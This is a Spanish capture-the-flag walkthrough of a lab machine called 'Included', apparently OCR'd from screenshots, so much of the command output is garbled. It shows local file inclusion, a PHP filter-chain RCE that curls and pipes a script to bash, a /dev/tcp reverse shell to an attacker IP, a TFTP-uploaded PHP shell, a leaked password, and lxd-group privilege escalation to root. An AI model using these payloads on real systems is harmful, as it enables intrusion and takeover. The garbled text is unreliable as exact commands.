Maquina Included

Reconocimiento

Comenzamos con un escaneo bastante completo de nmap:

nmap -sSCV --min-rate 5000 -Pn -n -v -p- 10.129.22.147 -oN nmap.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 14:16 CET

NSE: Loaded 157 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 14:16

Completed NSE at 14:16, 0.00s elapsed

Initiating NSE at 14:16

Completed NSE at 14:16, 0.00s elapsed

Initiating NSE at 14:16

Completed NSE at 14:16, 0.00s elapsed

Initiating SYN Stealth Scan at 14:16

Scanning 10.129.22.147 [65535 ports

Discovered open port 80/tcp on 10.129.22.147

Increasing send delay for 10.129.22.147 from O to 5 due to max_successful tryno increase to 4
Increasing send delay for 10.129.22.147 from 5 to 10 due to max_successful tryno increase to 5
Increasing send delay for 10.129.22.147 from 10 to 20 due to 373 out of 1242 dropped probes since last
increase.

Increasing send delay for 10.129.22.147 from 20 to 40 due to max_successful tryno increase to 6
Increasing send delay for 10.129.22.147 from 40 to 80 due to max_successful tryno increase to 7
Increasing send delay for 10.129.22.147 from 80 to 160 due to max_successful tryno increase to 8
Increasing send delay for 10.129.22.147 from 160 to 320 due to 347 out of 1156 dropped probes since last
increase.

Increasing send delay for 10.129.22.147 from 320 to 640 due to max_successful tryno increase to 9
Increasing send delay for 10.129.22.147 from 640 to 1000 due to 531 out of 1768 dropped probes since last
increase.

Warning: 10.129.22.147 giving up on port because retransmission cap hit (10).

SYN Stealth Scan Timing: About 48.30% done; ETC: 14:17 (0:00:33 remaining

Completed SYN Stealth Scan at 14:17, 67.51s elapsed (65535 total ports

Initiating Service scan at 14:17

Scanning 1 service on 10.129.22.147

Completed Service scan at 14:17, 6.10s elapsed (1 service on 1 host

NSE: Script scanning 10.129.22.147.

[nitiating NSE at 14:17

Completed NSE at 14:17, 0.88s elapsed

Initiating NSE at 14:17

Completed NSE at 14:17, 0.46s elapsed

[nitiating NSE at 14:17

Completed NSE at 14:17, 0.00s elapsed
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Nmap scan report for 10.129.22.147

Host is up (0.094s latency).

Not shown: 61508 closed tcp ports (reset), 4026 filtered tcp ports (no-response
PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.29 ((Ubuntu

| http-title: Site doesn't have a title (text/html; charset=UTF-8).

| Requested resource was http://10.129.22.147/?file=home.php

| http-server-header: Apache/2.4.29 (Ubuntu

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS

NSE: Script Post-scanning.

[nitiating NSE at 14:17

Completed NSE at 14:17, 0.00s elapsed
Initiating NSE at 14:17

Completed NSE at 14:17, 0.00s elapsed
[nitiating NSE at 14:17

Completed NSE at 14:17, 0.00s elapsed
Read data files from: /ust/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
Raw packets sent: 334308 (14.710MB) | Rcvd: 86067 (3.443MB

Explotacion

Manera 1

Ya de primeras viendo la pagina vemos que hay un parametro "fi/e" que esta apuntando al index.php, lo
que significa que se puedo acontecer un LFI a través de este parametro si no esta bien sanitizado
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Efictivamente, si apuntamos al /etc/passwd nos lo reporta
C @ @ O A 10.129.22.147
-3) Import bookmarks... [OJCibersecurity (O Hacking [0 Correoand accounts (JIA [Oricing [O Social Media [

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr

sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/v
usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbhin unlnf_-'tn news:x:9:9:news:/var/spool/news:/usr/sbhin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin b
list:x:38:38:Mailing List Manager:/var/list:/usr/sbhin [11|]f:'_‘;i]1 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nolo
lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-netw
systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/us
nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/shin
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,-/var/lib/misc:/usr/sbin/:
nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false mike:x:1000:1000:mike:/home/mike:/bin/bash

nologin

De aqui sacamos posibles usuarios, antes de nada vamos a pasar LFI -> RCE intentando usar wrappers

Para ello usamos la herramienta php filter chain generator, primero probamos un simple 1s
para probar:

> python3 php filter chain generator.py -- chain '<?php system("1s");?:
= C @ w0 O A [10.129.22.147; . % Y6 H = @ usage: php_filter_chain_generator.py [-h] [--chain CHAIN] [Wrawbaseﬁ4 RAWBASE64]
php_filter_chain_generator.py: error: unrecognized arguments: -- chain <?php syst]
-8 Import bookmarks... [J Cibersecurity [JHacking [JCorreo adaccounts [JIA CJricing [JSocialMedia [JEnglish CINube [JShopping python3 php filter chain generator.py -- chain '<?php system("1s") ;?>'
Hefault.css fonts fonts.css home.php images index.php license.txt usage: php_fttter—chain generator.py [-h] [--chain CHAIN] [--rawbase64 RAWBASEGA]]
- 5 php_filter_chain_generator.py: errer: unrecognized arguments: -- chain <?php syst]
N 1 N python3 php filter chain generator.py --chain '<?php system("ls") ;?>'
[+] The following gadget chain will generate the following code : <?php system("
KCJscyIpIDs/Pg)
php://Tilter/convert. tconv.UTF8.CSISO2022KR [convert.baseb4-encode| convert . tconv.
rt.iconv.CSIBM921.NAPLPS |convert.iconv.855.CP936| convert.iconv.IBM-932.UTF-8 | con
|convert. iconv.UTF8.UTF7 |convert. iconv.SE2.UTF-16| convert. iconv. CSIBM1161.IBM-932
v.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
v.L3.CSIS090|convert. iconv.UCS2.UTF-8|convert. iconv.CSISOLATING.UCS-4|convert.ba
t.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSIS090|convert.ba
t.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943 | convert]
se64-decode | convert.base64-encode | convert. iconv.UTF8.UTF7| convert.iconv.L5.UTF-32
.iconv.BIG5. SHIFTiJ ISX0213| convert.base64-decode| convert.base64-encode | convert.id
ICODE\convert iconv.1508859-14.1506937 | convert. iconv.BIG-FIVE.UCS-4|convert.basef]
iconv.UTF8.UTF7|convert. iconv.L5.UTF-. 32\convert iconv.IS088594.GB13000 | convert.id

ecode| convert.base64-encode | convert. iconv.UTF8.UTF7| convert. iconv.L4.UTF32|conve
ode|convert.base64-encode|convert.iconv.UTF8.UTF7 |convert. iconv.IBM869.UTF16 | con
ode|convert.base64-encode|convert. a i

fencode\convert.iconv.UTFS.UTF7\convért.iconv.863.UTF716\convert.lconv.1506937.u
e64-encode | convert . iconv.UTF8.UTF7|convert. iconv.864.UTF32|convert. iconv.IBM912.
64~ encode\convert iconv. UTF8 UTF7\convert \conv CP861.UTF- 16\convert iconv.L4.GH

e O A 10.129.22.147, ¢ & E (1/1) installing php [ #iasaBRER AR HERARH]
: Running post-transaction hooks
2 Import bookmarks... (3 Cibersecurity [(JHacking [ Correoandaccounts (JIA Diricing [JSocial Media (JEngtish [ Nube [3 Shoppine (1/1) Arming ConditionNeedsUpdate
) python3 php filter chain generator.py --chain '<?='curl http://10.10.14.92:80" ?>
. P [+] The following gadget chain will generate the following code : <?="curl http://10.10.14.9
Directory hstlng for / YGN1cmwgaHROCDOVLZEwL jEwLJEL jky0jgwYCA/Pg)

//filter/convert.iconv.UTF8. CSISOZOZZKR\Lmvevt base64-encode|convert.iconv.UTF8.UTF7|cq
rt.iconv.CSIBM921.NAPLPS|conver onv.855.CP936 | convert. iconv.IBM-932.UTF-8| convert.base64
| convert. iconv.UTF8.UTF7|conver onv.SE2.UTF-16|convert. iconv.CSIBM1161.IBM-932|convert
v.BIG5.JO0HAB| convert.base64-decode|convert.base64-encode | convert. iconv.UTF8.UTF7|conver
v.L3.CSIS090 | convert. iconv.UCS2.UTF-8| convert. iconv.CSISOLATING.UCS-4|convert.base64-decode
t.1iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|conve
e|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS02022KR | convert.base64-decode | conv
UTF7|convert.iconv.CP367.UTF-16|convert .CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1
ver se64-encode|convert. iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.
t.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.N
onvert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.U
6|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert
e|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.1S0-2022
| convert . base64-decode | convert . base64-encode | convert. iconv.UTF8.UTF7 | convert. iconv.851.UTF
convert.base64-decode | convert. b; 7
rt.base decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UT
rt.iconv.BIG5.JOHAB| convert. iconv.CP950.UTF16 | convert.base64-decode | convert. b;
t.1iconv.IBM869.UTF16 | convert.iconv.L3.CSIS090 | convert.iconv.R9.IS06937|convert.icon
de| convert.base64-encode|convert. iconv.UTF8.UTF7|convert. iconv.UTF8.UTF16LE|convert.iconv.U
.UCS2.UTF8|convert.iconv.8859_3.UCS2|conv base64-decode|convert.base64-encode|convert.

File "/usr/lib/python3.13/http/server.py”, line 1267, in test
with ServerClass(addr, HandlerClass) as httpd:

File "/usr/lib/python3.13/socketserver.py”, line 457, in __init__
self,ser’xerj)md()

return super

File " /usr/hb/pythonB 13/http/server.py”, line 136, in server_bind
socketserver.TCPServer.server h\ﬂd(self)

File "/usr/lib/python3.13/socketserver.py”, line 473, in server_bind
self..socket.bind(self  server_address)
ParmisstonError: [Errno 13] Permission dented
sudo python3 -m http.server 80
[sudo] password for juan:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.22.147 - - [06/Mar/2025 15:03:58] “GET / HTTP/1.1" 200 -




En efecto lo tiene, entonces ahora creamos un archivo con codigo en bash que crea una reverse shell con
nuestra maquina de atacante, a este archivo le hacemos un curl junto a |bash para ejecutarlo no si
antes levantar un servidor con python para comparitr el archivo:

& C @ © O 7 ® 08 = & e de | cor
_ 3 > python3 php
-8 Import bookmarks... [ Cibersecurity [JHacking [ Correoan A Dricing 05 dia [JEnglish [INube [JShoppi P T i i C
PDBIYGN1cmwgaHROcDoy JEw ]EOL]!«VLAFUVvaaGAgP 4)
/Tilter/convert. iconv.UTF8.CSIS02022KR | convert . baseb4-encode| convert. tconv.UTF8. UTF7[convert .|
conv. CSISOLATINS . 1S0_6937-2| convert . iconv.CP950. UTF-16BE | convert. base64- -ba

.855. 3 ert. 32. onvert.
8859_3.UTF16|convert. i .863.SHIFT_JISX0213|conv
UTFH\.OH/EI( iconv.L6.UNICODE|con (’.\LDH\/,CPIZEZ,IS
.L6.UCS-2| conver
r( iconv.UTF8.UTF7|cor
06937 | convert
.GB13000 | conv . nv.C SHIFT. JI O”i’\ronvmt icol
TF8.UTF7 \ .iconv.SE2.UTF-16|col t. iconv.CSIBMY! IAPLP! iconv.CP1163
949 | convert. -decode | convert .base64-encode | convert . iconv.UTF8 Tmconv iconv.CP
IBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decod: seb. mode\mnver
rt.iconv.IS02022Ki onv.L6.UCS2|convert.
rt.iconv.L5.UTF c .iconv.IS088594.GB13000| convert
e64-decode | conver ncode| convert. iconv.UTF8.UTF7 |
49 UTF32BE|convert. iconv. ISO 693 S[BHQ“H

UTF UTF7|con
se64-encode | convert. iconv.UTF8.UTF7 | convert

encode|convert. . UTF7| convert. icon
e64-decode| convert.

> nc -nlvp 4444

File: a.sh

bash -c 'bash -1 >& /dev/tcp/10.10.14.92/4444 0
>&1'

» sudo python3 -m http.server 80

[sudo] word for jua
Serving HTTP on 0.0.0 port 80 (http://0.0.0.0:80/) ...
|

VPN sudo python3 -m http.server 80

Ejecutamos el wrapper en la url y obtenemos el acceso por el puerto con el que estabamos ala escucha:

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... )
10.129.22.147 - - [06/Mar/2025 15:29:45] "GET /a HTTP/1.1 a annot set term

" 200 - iate ioctl for device
bash: no job control
www-data@included: /va

Manera 2

Viendo de nuevo el /etc/passwd veo que hay un demonio del servicio tftp corriendo.
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€« C @ 0 O A 1012922147
3] Import bookmarks... [ Cibersecurity [(OHacking [ Correoand accounts [J1A [ricing [ Social Media [

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:fusr/games:/usr/sbin/nologin man:x:6:12:man:/v
usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin b
list:x:38:38:Mailing List Manager:/var/list:;/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nolo
lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-netw

systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/us
nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/shin

uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107: -dnsmasq,,,:/var/lib/misc:/usr/sbinp/
nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false mike:x:1000:1000:mike:/home/mike:/bin/bash 1

nologin

Trivial File Transfer Protocol (TFTP) es un protocolo UDP que proporciona funciones basicas de
transferencia de archivos sin autenticaciéon. No necesita las sofisticadas interacciones que usa el
protocolo FTP.

Sabiendo esto vamos otro paso atras y realizamos un escaneo UDP con nmap

nmap -sU -Pn -n -p1-100 10.129.22.249

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 08:42 CET

Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 26.00% done; ETC: 08:43 (0:00:23 remaining
Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 33.30% done; ETC: 08:43 (0:00:40 remaining
Nmap scan report for 10.129.22.249

Host is up (0.038s latency).

Not shown: 98 closed udp ports (port-unreach

PORT STATE SERVICE

68/udp openlfiltered dhepe

69/udp open|filtered tftp

Nmap nos confirma que el servicio tftp esta corriendo en la maquina, por ello nos conectamos y para
comprobar que se suben los archivos correctamente, le adjuntamos el nmap.txt:

> tftp 10.129.22.249
tftp> put nmap.txt

Entonces aprovechando el LFI, si nos vamos al fichero donde por defecto tftp guarda sus fichero
/var/lib/tftpboot/ comprobamos si se subio el archivo:




« C @ o0 O A 10.129.22.249
-3 Import bookmarks... [ Cibersecurity [ Hacking (3 Correo and accounts (JIA [3

# Nmap 7.95 scan initiated Thu Mar 6 14:16:35 2025 as: nmap -sSCV —min-rate 5
from 10 to 20 due to 373 out of 1242 dropped probes since last increase. Increas
probes since last increase. Increasing send delay for 10.129.22.147 from 640 to 1
10.129.22.147 giving up on port because retransmission cap hit (10). Nmap scan
ports (reset), 4026 filtered tcp ports (no-response) PORT STATE SERVICE VERSIO
title (text/html; charset=UTF-8). |_Requested resource was http://10.129.22.147/?
Supported Methods: GET HEAD POST OPTIONS Read data files from: fusr/bin/../
https://nmap.org/submit/ . # Nmap done at Thu Mar 6 14:17:50 2025 — 1 IP addre

Si se subio, teniendo ahora subida de archivos, le vamos a pasar una revershell por php:

> tftp 10.129.22.249
tftp> put pentest.php

-nlvp 4
e t f 10 129.22. 249 35396
ldd4150151g #157UthMPF Jul 9 23:07:57 UTC 2021 x86_64
0819®8p103 Gusers, Lod rage: 0.04, 0.01, 0.00
LDGIN@ IDLE JCPU  PCPU WHAT
~data)

Escalada

Una vez dentro, listando el directorio /var/www/html vemos un fichero llamado . tpasswd

www-data@included: /var/www/html$ ls -la
total 88

drwxr-xr-x
drwxr-xr-x
~MW=F==F=-
-wW-r--r--
~MW=F==F=-
drwxr-xr-x
~MW=F==F=-
~-MwW=-r=-r--
drwxr-xr-x
-MwW=-r=-r--

root root 4096 Oct

root gelo} 4096 Apr

www-data www-data 212 Apr :

www-data www-data 17 Apr .htpass

www-data www-data 13828 Apr detault.

www-data www-data 4096 fonts

www-data www-data 20448

www-data www-data 3704

www—data -data 4096 Lmages
145 '

P NRPRr R NE R W
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www-data@included: /var/www/html$
mike:Sheffield19

Mirandolo tenemos las credenciales para el usuario mike:

mike@included:/var/www/html$ id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(Ixd

Una vez somos mike, haciendo id vemos que pertenecemos al grupo Ixd.

Por ello, buscamos en searchsploit y nos encontramos con esto:

> searchsploit 1xd

Ubuntu 18.04 - 'Ixd' Privilege Escalation | linux/local/46978.sh

Siguiendo las instrucciones, nos tenemos que descargar una imagen de alpine:

> wget https://github.com/saghul/Ixd-alpine-builder/raw/refs/heads/master/alpine-v3.13-x86 64-
20210218 0139.tar.gz

--2025-03-07 17:40:15-- https://github.com/saghul/Ixd-alpine-builder/raw/refs/heads/master/alpine-v3.13-
x86 64-20210218 0139.tar.gz

Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'

Resolving github.com (github.com)... 140.82.121.4

Connecting to github.com (github.com)|140.82.121.4|:443... connected.

HTTP request sent, awaiting response... 302 Found

Location: https://raw.githubusercontent.com/saghul/lxd-alpine-builder/refs/heads/master/alpine-v3.13-
x86 64-20210218 0139.tar.gz [following

--2025-03-07 17:40:15-- https://raw.githubusercontent.com/saghul/Ixd-alpine-
builder/refs/heads/master/alpine-v3.13-x86 64-20210218 0139.tar.gz

Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133,
185.199.111.133,

Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK

Length: 3259593 (3.1M) [application/octet-stream

Saving to: ‘alpine-v3.13-x86 64-20210218 0139.tar.gz’

alpine-v3.13-x86 64-20210218 100%

>] 3.11M 589KB/s in 5.5s

2025-03-07 17:40:21 (576 KB/s) - ‘alpine-v3.13-x86 64-20210218 0139.tar.gz’ saved [3259593/3259593




>ls
46978.sh [1 alpine-v3.13-x86 64-20210218 0139.tar.gz [] nmap.txt [] pentest.php [ test.txt

Después, pasamos a la maquina victima el .5/ y la imagen de alpine:

Ahora traspasamos el .tar y el .sh a la maquina victima

Saving to: ‘alpine-v3.13-x86_64-20210218 0139.tar.gz’

alpine-v3.13-x86_64 100%[ >] 3.11M 1.26MB/s in 2.5s

2025-03-07 18:12:39 (1.26 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3

mike@included:/tmp$ 1s
46978.sh alpine-v3.13-x86_64-20210218_0139.tar.gz
mike@included: /tmp$

» python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.129.161.86 - - [07/Mar/2025 19:12:17] "GET /46978.sh HTTP/1.1" 200 -
10.129.161.86 - - [07/Mar/2025 19:12:36] "GET /alpine-v3.13-x86_64-20210218_0139.tar.

y ejecutamos:

bash 46978.sh -f alpine-v3.13-x86 64-20210218 0139.tar.gz




p .
mtke@tncluded /tmp$ chmod +Xx 46978.sh
mike@included:/tmp$ bash 46978.sh alpine-v3.13-x86_64-20210218_0139.tar.gz

Usage:
[-f] Filename (.tar.gz alpine file)
[-h] Show this help panel

mike@included:/tmp$ bash 46978.sh -f alpine-v3.13-x86_64-20210218 0139.tar.gz
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b0973018
[*] Listing images...

Creating privesc

Device giveMeRoot added to privesc
~ # id

uid=0(root) gid=0(root)

Esto nos abre un contenedor como root donde en /mnt/root se aloja la raiz de la maquina original:

/mnt/root # 1s

bin initrd.img.old tmp

boot 1ib usr

cdrom 1ib64 var

dev lost+found i vmlinuz

etc media vmlinuz.old
home mnt

initrd.img opt

/mnt/root # |

ahora podemos por ejemplo poner el permiso SUID a la bash y volver a la méquina:

mike@included:/tmp$ ls -la /bin/bash
-rwsir-sr-x 1 root root 1113504 Jun 6

y SOmOoS root:

-rwsr-sr-x 1 root root 1113504 Jun 6 2019 [NNEEEEN
mike@included:/tmp$ /bin/bash -p

bash-4.4# whoami

root

bash-4.4# hostaname -1

bash: hostaname: command not found

bash-4.4# hostname -I

10.129.161.86 |10.124.177.1 dead:beef::250:56ff:fe94:bd40a T«
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